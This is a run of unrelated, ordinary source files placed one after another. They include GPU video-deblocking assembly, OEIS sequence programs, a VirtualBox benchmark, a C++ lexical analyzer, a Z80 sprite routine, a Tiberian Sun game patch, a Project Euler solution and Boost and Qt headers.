Mbaff_BETA(0,0)<1> r[ECM_AddrReg, bBetaLeft0_Cr]<0;1,0>:ub mov (8) Mbaff_TC0(0,0)<1> r[ECM_AddrReg, bTc0_v00_0_Cr]<1;2,0>:ub // p1 = Prev MB V row 0 // p0 = Prev MB V row 1 // q0 = Cur MB V row 0 // q1 = Cur MB V row 1 mov (1) P_AddrReg:w PREV_MB_V_BASE:w { NoDDClr } mov (1) Q_AddrReg:w SRC_MB_V_BASE:w { NoDDChk } // For FieldModeLeftMbFlag=1 && FieldModeCurrentMbFlag=0 (f0.0) mov (4) Mbaff_ALPHA(0,0)<2> r[ECM_AddrReg, bAlphaLeft0_Cr]<0;1,0>:ub { NoDDClr } (f0.0) mov (4) Mbaff_ALPHA(0,1)<2> r[ECM_AddrReg, bAlphaLeft1_Cr]<0;1,0>:ub { NoDDChk } (f0.0) mov (4) Mbaff_BETA(0,0)<2> r[ECM_AddrReg, bBetaLeft0_Cr]<0;1,0>:ub { NoDDClr } (f0.0) mov (4) Mbaff_BETA(0,1)<2> r[ECM_AddrReg, bBetaLeft1_Cr]<0;1,0>:ub { NoDDChk } (f0.0) mov (4) Mbaff_TC0(0,0)<2> r[ECM_AddrReg, bTc0_v00_0_Cr]<4;4,1>:ub { NoDDClr } (f0.0) mov (4) Mbaff_TC0(0,1)<2> r[ECM_AddrReg, bTc0_v00_1_Cr]<4;4,1>:ub { NoDDChk } // For FieldModeLeftMbFlag=0 && FieldModeCurrentMbFlag=1 (f0.1) mov (4) Mbaff_ALPHA(0,0)<1> r[ECM_AddrReg, bAlphaLeft0_Cr]<0;1,0>:ub { NoDDClr } (f0.1) mov (4) Mbaff_ALPHA(0,4)<1> r[ECM_AddrReg, bAlphaLeft1_Cr]<0;1,0>:ub { NoDDChk } (f0.1) mov (4) Mbaff_BETA(0,0)<1> r[ECM_AddrReg, bBetaLeft0_Cr]<0;1,0>:ub { NoDDClr } (f0.1) mov (4) Mbaff_BETA(0,4)<1> r[ECM_AddrReg, bBetaLeft1_Cr]<0;1,0>:ub { NoDDChk } (f0.1) mov (4) Mbaff_TC0(0,0)<1> r[ECM_AddrReg, bTc0_v00_0_Cr]<4;4,1>:ub { NoDDClr } (f0.1) mov (4) Mbaff_TC0(0,4)<1> r[ECM_AddrReg, bTc0_v00_1_Cr]<4;4,1>:ub { NoDDChk } // Set UV MaskA and MaskB mov (2) f0.0<1>:uw MaskA<2;2,1>:uw CALL(FILTER_UV_MBAFF, 1) //----------------------------------------------- BYPASS_V0_UV: // Set EdgeCntlMap2 = 0, so it always uses bS < 4 algorithm. // Same alpha and beta for all internal vert and horiz edges //---------- Deblock U internal vert middle edge ---------- //***** Need to take every other bit to form U or V maskA shr (16) TempRow0(0)<1> r[ECM_AddrReg, wEdgeCntlMap_IntMidVert]<0;1,0>:uw RRampW(0) // p1 = Cur MB U row 2 // p0 = Cur MB U row 3 // q0 = Cur MB U row 4 // q1 = Cur MB U row 5 mov (1) P_AddrReg:w 4*UV_ROW_WIDTH+SRC_MB_U_BASE:w { NoDDClr } // Skip 2 U rows and 2 V rows mov (1) Q_AddrReg:w 8*UV_ROW_WIDTH+SRC_MB_U_BASE:w { NoDDChk } mov (8) Mbaff_ALPHA(0,0)<1> r[ECM_AddrReg, bAlphaInternal_Cb]<0;1,0>:ub mov (8) Mbaff_BETA(0,0)<1> r[ECM_AddrReg, bBetaInternal_Cb]<0;1,0>:ub mov (8) Mbaff_TC0(0,0)<1> r[ECM_AddrReg, bTc0_v02_Cb]<1;2,0>:ub and.nz.f0.0 (8) null:w TempRow0(0)<16;8,2> 1:w // Store MaskA and MaskB mov (1) f0.1:uw 0:w mov (1) MaskB:uw 0:w { NoDDClr } mov (1) MaskA:uw f0.0:uw { NoDDChk } CALL(FILTER_UV_MBAFF, 1) //----------------------------------------------- //---------- Deblock V internal vert middle edge ---------- // P1 = Cur MB V row 2 // P0 = Cur MB V row 3 // Q0 = Cur MB V row 4 // Q1 = Cur MB V row 5 mov (1) P_AddrReg:w 4*UV_ROW_WIDTH+SRC_MB_V_BASE:w { NoDDClr } // Skip 2 U rows and 2 V rows mov (1) Q_AddrReg:w 8*UV_ROW_WIDTH+SRC_MB_V_BASE:w { NoDDChk } // Put MaskA into f0.0 // Put MaskB into f0.1 mov (2) f0.0<1>:uw MaskA<2;2,1>:uw mov (8) Mbaff_ALPHA(0,0)<1> r[ECM_AddrReg, bAlphaInternal_Cr]<0;1,0>:ub mov (8) Mbaff_BETA(0,0)<1> r[ECM_AddrReg, bBetaInternal_Cr]<0;1,0>:ub mov (8) Mbaff_TC0(0,0)<1> r[ECM_AddrReg, bTc0_v02_Cr]<1;2,0>:ub CALL(FILTER_UV_MBAFF, 1) //-----------------------------------------------
#pragma once #include <memory> namespace oxi { class IScene; class ISceneFactory; class IController; class Game { private: const std::shared_ptr<ISceneFactory> scene_factory_; const std::shared_ptr<IController> controller_; public: explicit Game(std::shared_ptr<ISceneFactory> scene_factory, std::shared_ptr<IController> controller); virtual ~Game() {} void start(); }; }
; A017654: (12n+11)^2. ; 121,529,1225,2209,3481,5041,6889,9025,11449,14161,17161,20449,24025,27889,32041,36481,41209,46225,51529,57121,63001,69169,75625,82369,89401,96721,104329,112225,120409 mul $0,12 add $0,11 pow $0,2
; $Id: tstRTPrfA.asm $ ;; @file ; IPRT - Comparing CPU registers and memory (cache). ; ; ; Copyright (C) 2007-2017 Oracle Corporation ; ; This file is part of VirtualBox Open Source Edition (OSE), as ; available from http://www.virtualbox.org. This file is free software; ; you can redistribute it and/or modify it under the terms of the GNU ; General Public License (GPL) as published by the Free Software ; Foundation, in version 2 as it comes in the "COPYING" file of the ; VirtualBox OSE distribution. VirtualBox OSE is distributed in the ; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. ; ; The contents of this file may alternatively be used under the terms ; of the Common Development and Distribution License Version 1.0 ; (CDDL) only, as it comes in the "COPYING.CDDL" file of the ; VirtualBox OSE distribution, in which case the provisions of the ; CDDL are applicable instead of those of the GPL. ; ; You may elect to license modified versions of this file under the ; terms and conditions of either the GPL or the CDDL or both. ; %include "iprt/asmdefs.mac" %define NUM_LOOPS 10000h BEGINCODE BEGINPROC tstRTPRfARegisterAccess push xBP mov xBP, xSP and xSP, ~3fh ; 64 byte align xSP push xBP mov xBP, xSP sub xSP, 20h mov xAX, 1 mov xDX, 1 mov ecx, NUM_LOOPS .again: add eax, ecx add xDX, xAX shr xAX, 3 shl xAX, 1 xor xDX, 01010101h add eax, ecx add xDX, xAX shr xAX, 3 shl xAX, 1 xor xDX, 01010101h add eax, ecx add xDX, xAX shr xAX, 3 shl xAX, 1 xor xDX, 01010101h dec ecx jnz .again leave leave ret ENDPROC tstRTPRfARegisterAccess BEGINPROC tstRTPRfAMemoryAccess push xBP mov xBP, xSP and xSP, ~3fh ; 64 byte align xSP push xBP mov xBP, xSP sub xSP, 20h %define VAR_XAX [xBP - xCB*1] %define VAR_XDX [xBP - xCB*2] %define VAR_ECX [xBP - xCB*3] mov RTCCPTR_PRE VAR_XAX, 1 mov RTCCPTR_PRE VAR_XDX, 1 mov dword VAR_ECX, NUM_LOOPS .again: mov eax, VAR_ECX add VAR_XAX, eax mov xAX, VAR_XAX add VAR_XDX, xAX shr RTCCPTR_PRE VAR_XAX, 3 shl RTCCPTR_PRE VAR_XAX, 1 xor RTCCPTR_PRE VAR_XDX, 01010101h mov eax, VAR_ECX add VAR_XAX, eax mov xAX, VAR_XAX add VAR_XDX, xAX shr RTCCPTR_PRE VAR_XAX, 3 shl RTCCPTR_PRE VAR_XAX, 1 xor RTCCPTR_PRE VAR_XDX, 01010101h mov eax, VAR_ECX add VAR_XAX, eax mov xAX, VAR_XAX add VAR_XDX, xAX shr RTCCPTR_PRE VAR_XAX, 3 shl RTCCPTR_PRE VAR_XAX, 1 xor RTCCPTR_PRE VAR_XDX, 01010101h dec dword VAR_ECX jnz .again %undef VAR_XAX %undef VAR_XDX %undef VAR_ECX leave leave ret ENDPROC tstRTPRfAMemoryAccess BEGINPROC tstRTPRfAMemoryUnalignedAccess push xBP mov xBP, xSP and xSP, ~3fh ; 64 byte align xSP push xBP mov xBP, xSP sub xSP, 20h %define VAR_XAX [xBP - xCB*1 - 1] %define VAR_XDX [xBP - xCB*2 - 1] %define VAR_ECX [xBP - xCB*3 - 1] mov RTCCPTR_PRE VAR_XAX, 1 mov RTCCPTR_PRE VAR_XDX, 1 mov dword VAR_ECX, NUM_LOOPS .again: mov eax, VAR_ECX add VAR_XAX, eax mov xAX, VAR_XAX add VAR_XDX, xAX shr RTCCPTR_PRE VAR_XAX, 3 shl RTCCPTR_PRE VAR_XAX, 1 xor RTCCPTR_PRE VAR_XDX, 01010101h mov eax, VAR_ECX add VAR_XAX, eax mov xAX, VAR_XAX add VAR_XDX, xAX shr RTCCPTR_PRE VAR_XAX, 3 shl RTCCPTR_PRE VAR_XAX, 1 xor RTCCPTR_PRE VAR_XDX, 01010101h mov eax, VAR_ECX add VAR_XAX, eax mov xAX, VAR_XAX add VAR_XDX, xAX shr RTCCPTR_PRE VAR_XAX, 3 shl RTCCPTR_PRE VAR_XAX, 1 xor RTCCPTR_PRE VAR_XDX, 01010101h dec dword VAR_ECX jnz .again %undef VAR_XAX %undef VAR_XDX %undef VAR_ECX leave leave ret ENDPROC tstRTPRfAMemoryUnalignedAccess
#include <iostream> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <fstream> using namespace std; struct symbol { char* str; int coding; }; char * keyword_list[35] = { "void", "char","int","float","double","short","long", "signed","unsigned","struct","union","enum","typedef","sizeof","auto","static", "register","extern","const","volatile","return","continue","break","goto","if", "else","switch","case","default","for","do","while","scanf","scanf","printf" }; char* operator_list[44] = { "{", "}","[", "]", "(", ")", ".", "->", "~", "++", "--", "!","&","*","/","%","+","-","<<",">>",">",">=","<","<=","==","! =","^","|","&&", "||","?","=","/=","*=,","%=","+=","-=","&=","^=","|=",",","#",";",":" }; char ch;//读入字符 char strToken[20] = "";//存放构成单词符号的字符串 int eof_flag = 0; int num = 1;//编码数字)(递增) int row = 1; struct symbol keywords[35]; struct symbol identifiers[44]; FILE* fp = NULL; FILE* fw = NULL; ofstream out; //给单词符号设定种别码 void initialization() { //给关键字设定种别码 for (int i=0;i<35;i++) { keywords[i].str = keyword_list[i]; keywords[i].coding = num; num++; } //给运算符和边界符设定种别码 for (int i = 0; i < 44; i++) { identifiers[i].str = operator_list[i]; identifiers[i].coding = num; num++; }//数字79,标识符80 } //把下一个字符读入ch中 void getNextChar(FILE* ffp) { if ((ch=getc(ffp))==EOF) { eof_flag = 1; } if (ch=='\n') { row++; } } //检查ch字符是否为 空白符,回车或者制表符 若是则反复调用getNextChar(),直至ch中读入非上述符号 void getbc(FILE* ffp) { while (ch==' '||ch=='\n'||ch=='\t') { getNextChar(ffp); } } //判断ch是否为字母 bool isLetter(char ch) { return isalpha(ch); } //判断ch是否为字母 bool isDigit(char ch) { return isdigit(ch); } //判断ch是否为下划线 bool isUnderline(char ch) { if (ch == '_') return 1; else return 0; } //将输入的字符ch连接srtToken void concat() { char* tmp = &ch; strcat(strToken, tmp); } //把搜索指针回调一个字符位置 void retract(FILE* ffp) { fseek(ffp, -1, SEEK_CUR); ch = ' '; } //对于strToken中的字符串判断它是否为保留字,若是则给出它的种别码.否则返回0 int reserve_string(char* str) { for (int i=0;i<35;i++) { if ((strcmp(str,keywords[i].str))==0) { return keywords[i].coding; } } return 0; } //返回strToken中所识别出的运算符和边界符 int reserve_operator(char* ch) { for (int i=0;i<44;i++) { if ((strcmp(ch, identifiers[i].str)) == 0) { return identifiers[i].coding; } } return 0; } //出错处理 void error() { printf("\n *********************ERROR*****************************\n"); printf("row %d Invaild symbol !!!", row); printf("\n *********************ERROR*****************************\n"); exit(0); } //词法分析 void LexiscalAnalyzer() { int num = 0, val = 0, code = 0; strcpy(strToken, ""); getNextChar(fp); getbc(fp); switch (ch) { case 'a': case 'b': case 'c': case 'd': case 'e': case 'f': case 'g': case 'h': case 'i': case 'j': case 'k': case 'l': case 'm': case 'n': case 'o': case 'p': case 'q': case 'r': case 's': case 't': case 'u': case 'v': case 'w': case 'x': case 'y': case 'z': case 'A': case 'B': case 'C': case 'D': case 'E': case 'F': case 'G': case 'H': case 'I': case 'J': case 'K': case 'L': case 'M': case 'N': case 'O': case 'P': case 'Q': case 'R': case 'S': case 'T': case 'U': case 'V': case 'W': case 'X': case 'Y': case 'Z': case '_': while (isLetter(ch) || isDigit(ch) || isUnderline(ch)) { concat(); getNextChar(fp); } retract(fp); code = reserve_string(strToken); if (code==0) { printf("(%d , %s)\n", 79, strToken); } else { printf("(%d , %s)\n", code, strToken); } break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': while (isdigit(ch)) { concat(); getNextChar(fp); } retract(fp); printf("(%d , %s)\n", 80, strToken); break; case '{': concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); break; case '}': concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); break; case '[': concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); break; case ']': concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); break; case '(': concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); break; case ')': concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); break; case '.': concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); break; case '-': concat(); getNextChar(fp); if (ch=='>') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else if(ch=='-') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else if(ch=='=') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else { retract(fp); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } break; case '~': concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); break; case '+': concat(); getNextChar(fp); if (ch == '+') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else if (ch == '=') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else { retract(fp); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } break; case '*': concat(); getNextChar(fp); if (ch == '=') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else { retract(fp); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } break; case '&': concat(); getNextChar(fp); if (ch == '=') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else if(ch=='&') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else { retract(fp); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } break; case '!': concat(); getNextChar(fp); if (ch == '=') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else { retract(fp); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } break; case '%': concat(); getNextChar(fp); if (ch == '=') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else { retract(fp); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } break; case '<': concat(); getNextChar(fp); if (ch == '=') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else if(ch=='<') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else { retract(fp); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } break; case '>': concat(); getNextChar(fp); if (ch == '=') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else if (ch == '>') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else { retract(fp); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } break; case '=': concat(); getNextChar(fp); if (ch == '=') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else { retract(fp); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } break; case '^': concat(); getNextChar(fp); if (ch == '=') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else { retract(fp); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } break; case '|': concat(); getNextChar(fp); if (ch == '=') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else if (ch == '|') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else { retract(fp); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } break; case '?': concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); break; case '/': concat(); getNextChar(fp); if (ch == '=') { concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } else if (ch == '/')//跳过注释 { getNextChar(fp); while (ch!='\n') { getNextChar(fp); } break; } else if (ch=='*')//跳过注释 { getNextChar(fp); while (ch != '*') { getNextChar(fp); } getNextChar(fp); if (ch == '/'); break; } else { retract(fp); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); } break; case ',': concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); break; case '#': concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); break; case ';': concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); break; case ':': concat(); code = reserve_operator(strToken); printf("(%d , %s)\n", code, strToken); break; default: if (ch==EOF) { eof_flag = 1; break; } error(); } } int main() { initialization(); char name[1024]; cout << "从文件读入: "; cin >> name; fp = fopen(name, "r"); out.open("result.txt"); while (!feof(fp)) { if (eof_flag==1) { exit(1); } LexiscalAnalyzer(); } fclose(fp); out.close(); return 0; }
; void sp1_PutTiles(struct sp1_Rect *r, struct sp1_tp *src) ; 02.2006 aralbrec, Sprite Pack v3.0 ; sinclair spectrum version INCLUDE "config_private.inc" SECTION code_clib SECTION code_temp_sp1 PUBLIC asm_sp1_PutTiles EXTERN asm_sp1_GetUpdateStruct asm_sp1_PutTiles: ; Copy a rectangular set of tiles and colours to screen. The ; source array can be filled in by SP1GetTiles. ; ; enter : hl = struct sp1_tp[] array of attr/tile pairs ; d = row coord ; e = col coord ; b = width ; c = height ; uses : af, bc, de, hl, ixl push hl call asm_sp1_GetUpdateStruct ; hl = & struct sp1_update pop de ; de = struct sp1_tp * inc hl ex de,hl ; hl = struct sp1_tp *, de = & struct sp1_update ld ixl,c ; ixl = height ld c,$ff .rowloop push bc ; save b = width push de ; save update position .colloop ldi ; copy colour and tile from struct sp1_tp[ ldi ; into struct sp1_update ldi ld a,7 add a,e ld e,a jp nc, noinc inc d ; de = next struct sp1_update * one column to right .noinc djnz colloop ex (sp),hl ; hl = struct sp1_update * in same row but leftmost column ld bc,10*SP1V_DISPWIDTH add hl,bc ; hl = struct sp1_update * one row down leftmost column pop de ex de,hl ; de = struct sp1_update * down one row, hl = struct sp1_tp[ pop bc ; b = width dec ixl jp nz, rowloop ret
; A120492: 1 + Sum[ Prime[k]^(n-1), {k,1,n}]. ; Submitted by Christian Krause ; 2,6,39,504,17765,552552,30870007,1387350084,103306557609,16762578985600,1290073179870299,216632259853089564,30312656885388018973,2922170957243151047352,378560698729260507690687 mov $3,$0 mov $5,$0 add $5,1 lpb $5 sub $5,1 sub $0,$5 seq $0,40 ; The prime numbers. mov $2,$0 mov $0,$3 pow $2,$3 add $4,$2 lpe mov $0,$4 add $0,1
; A052924: Expansion of g.f.: (1-x)/(1 - 3*x - x^2). ; 1,2,7,23,76,251,829,2738,9043,29867,98644,325799,1076041,3553922,11737807,38767343,128039836,422886851,1396700389,4612988018,15235664443,50319981347,166195608484,548906806799,1812916028881 mov $1,1 lpb $0,1 sub $0,1 add $3,$1 mov $2,$3 add $2,$4 mov $3,$1 mov $1,$2 add $1,$3 mov $4,$1 lpe
%include "macros/patch.inc" %include "macros/datatypes.inc" %include "TiberianSun.inc" ; Normally only factories with WeaponsFactory=true make use of ; their ProductionAnim. This patch makes other factories use ; their ProductionAnim= as well. ; ------------------- ; Author: Rampastring ; BuildingClass::Exit_Object_Use_ProductionAnim hack 0x0042CE6E call dword [edx+158h] ; Our code mov ecx, [esi+220h] ; get BuildingTypeCLass instance xor eax, eax mov al, [ecx+81Dh] ; WeaponsFactory cmp al, 1 je .Reg ; Buildings with WeaponsFactory=yes get their ; production anim applied by BuildingClass::Mission_Unload add ecx, 6E0h jz .Reg cmp byte [ecx], 0 jz .Reg ; Do animation push 0 push 0 push 8 ; AnimType push ecx mov ecx, esi call BuildingClass__Do_Animation .Reg: jmp 0x0042CE74
; How to compile ; $ nasm -f elf64 max-sum-path.asm && gcc -no-pie -o max-sum-path max-sum-path.o extern printf SECTION .data triangle: dq 75 dq 95, 64 dq 17, 47, 82 dq 18, 35, 87, 10 dq 20, 4, 82, 47, 65 dq 19, 1, 23, 75, 3, 34 dq 88, 2, 77, 73, 7, 63, 67 dq 99, 65, 4, 28, 6, 16, 70, 92 dq 41, 41, 26, 56, 83, 40, 80, 70, 33 dq 41, 48, 72, 33, 47, 32, 37, 16, 94, 29 dq 53, 71, 44, 65, 25, 43, 91, 52, 97, 51, 14 dq 70, 11, 33, 28, 77, 73, 17, 78, 39, 68, 17, 57 dq 91, 71, 52, 38, 17, 14, 91, 43, 58, 50, 27, 29, 48 dq 63, 66, 4, 68, 89, 53, 67, 30, 73, 16, 69, 87, 40, 31 dq 4, 62, 98, 27, 23, 9, 70, 98, 73, 93, 38, 53, 60, 4, 23 SECTION .rodata fmt: db "%d", 10, 0 SECTION .text global main main: mov rsi, 14 ; len of current array which is second to last array mov rdx, 91 ; first item offset of inner array which is second to last array xor rax, rax ; inner loop index loop_1: push rdx ; backup offsets for future use in loop push rsi add rdx, rax ; calculate parent offset mov rcx, rdx ; backup parent offset mov r10, [triangle+rdx*8] ; assign parent value add rdx, rsi ; calculate left child offset mov r8, [triangle+rdx*8] ; assign left node value mov r9, [triangle+(rdx+1)*8] ; assign right node value cmp r8, r9 ; compare left and right node values jle left ; r8 > r9 add r10, r8 ; parent += left_node jmp addition left: ; r8 <= r9 add r10, r9 ; parent += right_node addition: mov qword [triangle+rcx*8], r10 ; assign parent's new value (parent = new_value) pop rsi ; get offsets back in to registers pop rdx inc rax ; increase index value cmp rax, rsi ; compare idex value with current array's lenght jne loop_1 ; if rax != rsi then continue ; end of inner loop xor rax, rax ; assign 0 to rax dec rsi ; upper array size is one shorter than current sub rdx, rsi ; change offset to upper array's first item cmp rsi, 0 ; if upper array size is 0 then exit from loop jne loop_1 ; else continue loop ; end of outer loop push rbp ; save rbp to stack (before function call) lea rdi, fmt ; first parameter of printf (format string) mov rsi, [triangle] ; second parameter of printf (first array item) xor rax, rax ; 0 xmm register used (assign 0 to rax) call printf ; Call printf C function pop rbp ; load rbp from stack after using printf xor rax, rax ; return with exit code 0 ret
// ------------------------------------------------------------------------------------------------- // Copyright 2016 - NumScale SAS // // Distributed under the Boost Software License, Version 1.0. // See accompanying file LICENSE.txt or copy at // http://www.boost.org/LICENSE_1_0.txt // ------------------------------------------------------------------------------------------------- #include <simd_bench.hpp> #include <boost/simd/function/simd/cos.hpp> #include <boost/simd/pack.hpp> namespace nsb = ns::bench; namespace bs = boost::simd; DEFINE_SIMD_BENCH(simd_cos, bs::cos); DEFINE_BENCH_MAIN() { nsb::for_each<simd_cos, NS_BENCH_IEEE_TYPES>(-10, 10); }
; A241976: Values of k such that k^2 + (k+3)^2 is a square. ; Submitted by Christian Krause ; 0,9,60,357,2088,12177,70980,413709,2411280,14053977,81912588,477421557,2782616760,16218279009,94527057300,550944064797,3211137331488,18715879924137,109084142213340,635788973355909,3705649697922120,21598109214176817,125883005587138788,733699924308655917,4276316540264796720,24924199317280124409,145268879363415949740,846689076863215574037,4934865581815877494488,28762504414032049392897,167640160902376418862900,977078461000226463784509,5694830605098982363844160,33191905169593667719280457 mov $1,1 mov $2,1 lpb $0 sub $0,1 add $2,$1 add $1,$2 add $1,$2 add $2,$1 lpe mov $0,$2 div $0,2 mul $0,3
#ifndef BOOST_ARCHIVE_DINKUMWARE_HPP #define BOOST_ARCHIVE_DINKUMWARE_HPP // MS compatible compilers support #pragma once #if defined(_MSC_VER) # pragma once #endif /////////1/////////2/////////3/////////4/////////5/////////6/////////7/////////8 // dinkumware.hpp: // (C) Copyright 2002 Robert Ramey - http://www.rrsd.com . // Use, modification and distribution is subject to the Boost Software // License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // See http://www.boost.org for updates, documentation, and revision history. // this file adds a couple of things that are missing from the dinkumware // implementation of the standard library. #include <iterator> #include <string> #include <boost/config.hpp> #include <boost/cstdint.hpp> namespace std { // define i/o operators for 64 bit integers template<class CharType> basic_ostream<CharType> & operator<<(basic_ostream<CharType> & os, lslboost::uint64_t t){ // octal rendering of 64 bit number would be 22 octets + eos CharType d[23]; unsigned int radix; if(os.flags() & (int)std::ios_base::hex) radix = 16; else if(os.flags() & (int)std::ios_base::oct) radix = 8; else //if(s.flags() & (int)std::ios_base::dec) radix = 10; unsigned int i = 0; do{ unsigned int j = t % radix; d[i++] = j + ((j < 10) ? '0' : ('a' - 10)); t /= radix; } while(t > 0); d[i--] = '\0'; // reverse digits unsigned int j = 0; while(j < i){ CharType k = d[i]; d[i] = d[j]; d[j] = k; --i;++j; } os << d; return os; } template<class CharType> basic_ostream<CharType> & operator<<(basic_ostream<CharType> &os, lslboost::int64_t t){ if(0 <= t){ os << static_cast<lslboost::uint64_t>(t); } else{ os.put('-'); os << -t; } return os; } template<class CharType> basic_istream<CharType> & operator>>(basic_istream<CharType> &is, lslboost::int64_t & t){ CharType d; do{ d = is.get(); } while(::isspace(d)); bool negative = (d == '-'); if(negative) d = is.get(); unsigned int radix; if(is.flags() & (int)std::ios_base::hex) radix = 16; else if(is.flags() & (int)std::ios_base::oct) radix = 8; else //if(s.flags() & (int)std::ios_base::dec) radix = 10; t = 0; do{ if('0' <= d && d <= '9') t = t * radix + (d - '0'); else if('a' <= d && d <= 'f') t = t * radix + (d - 'a' + 10); else break; d = is.get(); } while(!is.fail()); // restore the delimiter is.putback(d); is.clear(); if(negative) t = -t; return is; } template<class CharType> basic_istream<CharType> & operator>>(basic_istream<CharType> &is, lslboost::uint64_t & t){ lslboost::int64_t it; is >> it; t = it; return is; } template<> class back_insert_iterator<basic_string<char> > : public iterator<output_iterator_tag, char> { public: typedef basic_string<char> container_type; typedef container_type::reference reference; explicit back_insert_iterator(container_type & s) : container(& s) {} // construct with container back_insert_iterator<container_type> & operator=( container_type::const_reference Val_ ){ // push value into container //container->push_back(Val_); *container += Val_; return (*this); } back_insert_iterator<container_type> & operator*(){ return (*this); } back_insert_iterator<container_type> & operator++(){ // pretend to preincrement return (*this); } back_insert_iterator<container_type> operator++(int){ // pretend to postincrement return (*this); } protected: container_type *container; // pointer to container }; template<char> inline back_insert_iterator<basic_string<char> > back_inserter( basic_string<char> & s ){ return (std::back_insert_iterator<basic_string<char> >(s)); } template<> class back_insert_iterator<basic_string<wchar_t> > : public iterator<output_iterator_tag, wchar_t> { public: typedef basic_string<wchar_t> container_type; typedef container_type::reference reference; explicit back_insert_iterator(container_type & s) : container(& s) {} // construct with container back_insert_iterator<container_type> & operator=( container_type::const_reference Val_ ){ // push value into container //container->push_back(Val_); *container += Val_; return (*this); } back_insert_iterator<container_type> & operator*(){ return (*this); } back_insert_iterator<container_type> & operator++(){ // pretend to preincrement return (*this); } back_insert_iterator<container_type> operator++(int){ // pretend to postincrement return (*this); } protected: container_type *container; // pointer to container }; template<wchar_t> inline back_insert_iterator<basic_string<wchar_t> > back_inserter( basic_string<wchar_t> & s ){ return (std::back_insert_iterator<basic_string<wchar_t> >(s)); } } // namespace std #endif //BOOST_ARCHIVE_DINKUMWARE_HPP
; A138690: Numbers of the form 56+p^2 (where p is a prime). ; 60,65,81,105,177,225,345,417,585,897,1017,1425,1737,1905,2265,2865,3537,3777,4545,5097,5385,6297,6945,7977,9465,10257,10665,11505,11937,12825,16185,17217,18825,19377,22257,22857,24705,26625,27945,29985 seq $0,6005 ; The odd prime numbers together with 1. pow $0,2 max $0,4 add $0,56
; A000037: Numbers that are not squares (or, the nonsquares). ; Submitted by Jamie Morken(m2) ; 2,3,5,6,7,8,10,11,12,13,14,15,17,18,19,20,21,22,23,24,26,27,28,29,30,31,32,33,34,35,37,38,39,40,41,42,43,44,45,46,47,48,50,51,52,53,54,55,56,57,58,59,60,61,62,63,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,101,102,103,104,105,106,107,108,109,110 sub $2,$0 div $0,2 lpb $0 add $1,1 sub $0,$1 lpe sub $1,$2 add $1,2 mov $0,$1
/**************************************************************************** ** ** Copyright (C) 2013 Klaralvdalens Datakonsult AB (KDAB) ** Contact: https://www.qt.io/licensing/ ** ** This file is part of the QtGui module of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:LGPL$ ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and The Qt Company. For licensing terms ** and conditions see https://www.qt.io/terms-conditions. For further ** information use the contact form at https://www.qt.io/contact-us. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 3 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL3 included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 3 requirements ** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU ** General Public License version 2.0 or (at your option) the GNU General ** Public license version 3 or any later version approved by the KDE Free ** 